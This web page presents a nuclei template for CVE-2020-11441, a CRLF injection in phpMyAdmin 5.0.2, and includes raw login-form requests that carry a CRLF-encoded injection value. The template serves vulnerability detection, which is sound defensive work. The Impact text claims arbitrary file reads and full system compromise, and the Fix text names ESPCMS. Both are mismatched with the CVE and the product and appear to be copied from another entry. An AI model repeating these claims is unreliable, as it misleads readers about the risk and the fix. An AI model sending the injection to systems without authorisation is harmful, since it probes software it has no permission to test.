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CVE-2020-11441· phpmyadmin / phpmyadmin· CWE-93
phpMyAdmin 5.0.2 - CRLF Injection
phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.
Impact
Unauthenticated attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to complete system compromise.
Fix
Upgrade to a patched version of the ESPCMS or apply vendor-provided security updates.
How to confirm it
Send: GET /index.php?route=/ ; POST /index.php?route=/
Positive when: matches /^test:crlfinjection=1$/ AND status 200Run it with nuclei: nuclei -id CVE-2020-11441 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-11441
info:
name: phpMyAdmin 5.0.2 - CRLF Injection
author: ritikchaddha
severity: medium
description: |
phpMyAdmin 5.0.2 allows CRLF injection, as demonstrated by %0D%0Astring%0D%0A inputs to login form fields causing CRLF sequences to be reflected on an error page. NOTE: the vendor states "I don't see anything specifically exploitable.
impact: |
Unauthenticated attackers can read arbitrary files from the server including configuration files and credentials, potentially leading to complete system compromise.
remediation: |
Upgrade to a patched version of the ESPCMS or apply vendor-provided security updates.
reference:
- https://github.com/phpmyadmin/phpmyadmin/issues/16056
- https://nvd.nist.gov/vuln/detail/CVE-2020-11441
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.1
cve-id: CVE-2020-11441
cwe-id: CWE-93
epss-score: 0.02406
epss-percentile: 0.84209
cpe: cpe:2.3:a:phpmyadmin:phpmyadmin:5.0.2:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: phpmyadmin
product: phpmyadmin
shodan-query: title:"phpmyadmin"
fofa-query: title="phpmyadmin"
tags: cve,crlf,phpmyadmin,cve2020,vuln
http:
- raw:
- |
GET /index.php?route=/ HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?route=/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
set_session={{session}}&pma_username=%0D%0Atest:crlfinjection=1%0D%0A&pma_password=%0D%0Atest:crlfinjection=1%0D%0A&server=1&route=%2F&lang=en&token={{token}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "^test:crlfinjection=1$"
- type: status
status:
- 200
extractors:
- type: regex
part: body
name: session
group: 1
regex:
- 'name="set_session" value="([a-z0-9]+)"'
internal: true
- type: regex
part: body
name: token
group: 1
regex:
- 'name="token" value="([a-z0-9]+)"'
internal: trueReferences
- https://github.com/phpmyadmin/phpmyadmin/issues/16056
- https://nvd.nist.gov/vuln/detail/CVE-2020-11441
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